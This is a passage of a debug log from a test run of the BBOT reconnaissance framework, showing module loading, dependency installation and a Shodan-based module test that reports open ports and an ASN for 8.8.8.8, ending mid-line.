17:02:59,274 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 17:02:59,275 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 17:02:59,275 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 17:02:59,276 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 17:02:59,276 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 17:02:59,277 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 17:02:59,278 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 17:02:59,278 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 17:02:59,279 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 17:02:59,280 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 17:02:59,283 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 17:02:59,283 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 17:02:59,285 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 17:02:59,285 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 17:02:59,286 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 17:02:59,287 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 17:02:59,288 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 17:02:59,289 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 17:02:59,289 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 17:02:59,290 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 17:02:59,291 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 17:02:59,291 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 17:02:59,292 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 17:02:59,293 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 17:02:59,294 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 17:02:59,295 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 17:02:59,296 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 17:02:59,296 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 17:02:59,297 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 17:02:59,298 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 17:02:59,299 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 17:02:59,299 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 17:02:59,300 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 17:02:59,301 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 17:02:59,302 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 17:02:59,303 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 17:02:59,303 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 17:02:59,304 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 17:02:59,305 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 17:02:59,306 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 17:02:59,307 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 17:02:59,307 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 17:02:59,308 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 17:02:59,308 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 17:02:59,309 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 17:02:59,310 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 17:02:59,311 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 17:02:59,311 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 17:02:59,311 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 17:02:59,312 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 17:02:59,313 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 17:02:59,313 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 17:02:59,315 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 17:02:59,315 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 17:02:59,316 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 17:03:00,406 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:03:00,407 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 17:03:00,408 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 17:03:00,569 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 17:03:01,133 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 17:03:01,133 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 17:03:01,133 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 17:03:01,134 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 17:03:01,338 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 17:03:01,339 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 17:03:01,449 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 17:03:01,449 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 17:03:01,507 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 17:03:01,509 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 17:03:01,510 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 17:03:01,982 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 17:03:01,983 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 17:03:05,052 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 17:03:05,052 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 17:03:05,052 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 17:03:06,853 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 17:03:06,854 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 17:03:06,859 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:03:06,859 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 17:03:06,859 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:03:06,860 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 17:03:06,860 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 17:03:06,860 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 17:03:06,865 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/jv3ord3my5ijocoa70nb -2026-03-01 17:03:07,647 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 17:03:07,648 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 17:03:07,649 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:03:07,649 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 17:03:07,650 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 17:03:07,650 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 17:03:07,651 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 17:03:07,772 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 17:03:07,772 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 17:03:07,772 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 17:03:07,775 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 17:03:07,775 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 17:03:07,776 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 17:03:07,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 17:03:07,777 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 17:03:07,777 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 17:03:07,778 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 17:03:07,778 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 17:03:07,779 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 17:03:07,779 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 17:03:07,779 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 17:03:07,780 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 17:03:07,781 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 17:03:07,782 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 17:03:07,782 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 17:03:07,783 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 17:03:07,783 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 17:03:07,783 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 17:03:07,783 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 17:03:07,784 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 17:03:07,784 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 17:03:07,784 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 17:03:07,784 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 17:03:07,784 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 17:03:07,785 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 17:03:07,786 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 17:03:07,786 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 17:03:07,786 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 17:03:07,787 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 17:03:07,927 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_i36zm0yzpu -2026-03-01 17:03:07,927 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 17:03:08,034 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 17:03:08,035 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 17:03:08,035 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 17:03:08,036 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-03-01 17:03:08,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-03-01 17:03:08,137 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-03-01 17:03:08,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 17:03:08,139 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,141 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:03:08,141 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:03:08,142 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:03:08,143 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,144 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:03:08,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 17:03:08,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:03:08,147 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:03:08,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:03:08,150 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 17:03:08,150 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 17:03:08,154 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,155 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:03:08,155 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,156 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,157 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 17:03:08,157 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-01 17:03:08,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 17:03:08,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:03:08,158 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,247 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-01 17:03:08,248 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 17:03:08,248 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7c78e1289971b1bfb05bb4122bbe8b6b88f127a4', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 17:03:08,249 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-01 17:03:08,249 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-01 17:03:08,249 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,250 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,251 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:03:08,251 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,252 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,252 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,253 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:03:08,254 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,254 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,255 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,255 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,256 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,256 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,257 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 17:03:08,257 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,257 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 17:03:08,259 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 17:03:08,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,260 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,260 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 17:03:08,261 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 17:03:08,261 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 17:03:08,261 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", 